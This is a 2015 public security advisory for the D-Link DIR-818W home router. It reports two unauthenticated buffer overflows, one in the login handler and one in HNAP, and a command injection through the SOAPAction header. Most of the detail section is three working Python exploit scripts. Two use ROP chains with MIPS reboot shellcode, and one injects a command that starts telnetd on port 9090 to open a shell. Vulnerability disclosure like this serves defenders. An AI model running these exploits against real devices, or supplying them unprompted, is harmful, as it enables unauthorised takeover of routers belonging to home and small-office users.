D-Link DIR-818W Buffer Overflow / Command Injection
Posted on 17 November 2015
## Advisory Information Title: DIR-818W Buffer overflows and Command injection in authentication and HNAP functionalities Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink) CVE: None Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061 However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares.The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes. ## Product Description DIR-818W -- Wireless AC750 Dual Band Gigabit Cloud Router. Mainly used by home and small offices. ## Vulnerabilities Summary Have come across 3 security issues in DIR-818W firmware which allows an attacker to exploit command injection and buffer overflows in authentication adn HNAP functionality. All of them can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed. ## Details Buffer overflow in auth ---------------------------------------------------------------------------------------------------------------------- import socket import struct #Reboot shellcode in there ''' 2096 after id GET param, you can control the RA ''' buf = "GET /dws/api/Login?id=" buf+="A"*2064+"AAAA" #S0 # uclibc system address buf+="x2AxAFxD0x84" #S1 -- ROP2 (Pulls Sleep address from S2 which is also stored there before, loads SP+36 is filled in RA with ROP3 and calls Sleep) buf+="x2AxB1x4DxF0" #S2 -- points to Sleep in library buf+="x2AxB1x4DxF0" #JUNK S3 buf+="x2AxB1x4DxF0" #JUNK S4 buf+="x2AxB1x4DxF0" #JUNK S5 buf+="x2AxB0xDEx54" # S6 filled up with pointer to ROP4 which is ultimate mission buf+="x2AxB1x4DxF0" #JUNK S7 buf+="x2AxACxADx70" # RETN address -- ROP1 (fills a0 with 3 for sleep and s1 is filled before with ROP2 address which is called) buf+="C"*36 # buf+="x2AxACxD5xB4" # ROP3 (Fills in S4 the address of SP+16 and then jumps to ROP4 which calls SP+16 stored in S4) buf+="E"*16 buf+="x3cx06x43x21x34xc6xfexdcx3cx05x28x12x34xa5x19x69x3cx04xfexe1x34x84xdexadx24x02x0fxf8x01x01x01x0c" #Reboot shellcode Big endian buf+="Y"*120 buf+="&password=A HTTP/1.1 HOST: 192.168.1.8 User-Agent: test Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Connection:keep-alive Content-Length:5000 id="+"A"*5000+" " print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.0.0.90", 80)) s.send(buf) ---------------------------------------------------------------------------------------------------------------------- Buffer overflow in HNAP ---------------------------------------------------------------------------------------------------------------------- import socket import struct ''' 548 characters after SOapaction:http://purenetworks.com/HNAP1/GetDeviceSettings/ should work, although sprintf copies twice so only 242 characters are required including /var/run and /etc/templates/hnap which is concatenated with your string to create 548 characters ''' buf = "POST /HNAP1/ HTTP/1.0 HOST: 192.168.1.8 User-Agent: test Content-Length: 1 SOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ";sh;"+"B"*158 buf+="x2AxAFxD0x84" #S1 -- ROP2 (Pulls Sleep address from S2 which is also stored there before, loads SP+36 is filled in RA with ROP3 and calls Sleep) buf+="x2AxB1x4DxF0" #S2 -- points to Sleep in library buf+="AAAA"+"AAAA"+"AAAA" #s3,s4,s5 JUNK buf+="x2AxB0xDEx54" # S6 filled up with pointer to ROP4 which is ultimate mission buf+="AAAA" #s7 JUNK buf+="x2AxACxADx70" # RETN address -- ROP1 (fills a0 with 3 for sleep and s1 is filled before with ROP2 address which is called) buf+="C"*36 buf+="x2AxACxD5xB4" # ROP3 (Fills in S4 the address of SP+16 and then jumps to ROP4 which calls SP+16 stored in S4) buf+="C"*16 buf+="x3cx06x43x21x34xc6xfexdcx3cx05x28x12x34xa5x19x69x3cx04xfexe1x34x84xdexadx24x02x0fxf8x01x01x01x0c" #Reboot shellcode Big endian buf+="B"*28+" " + "1 " print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.0.0.90", 80)) s.send(buf) ---------------------------------------------------------------------------------------------------------------------- Command injection ---------------------------------------------------------------------------------------------------------------------- import socket import struct # CSRF or any other trickery, but probably only works when connected to network I suppose for v2.02 buf = "POST /HNAP1/ HTTP/1.0 HOST: 10.0.0.90 User-Agent: test Content-Length: 1 SOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ';telnetd -p 9090; ' + "1 " print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.0.0.90", 80)) s.send(buf) ---------------------------------------------------------------------------------------------------------------------- ## Report Timeline * April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline. * July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor * Nov 13, 2015: A public advisory is sent to security mailing lists. ## Credit This vulnerability was found by Samuel Huntley (samhuntley84@gmail.com).
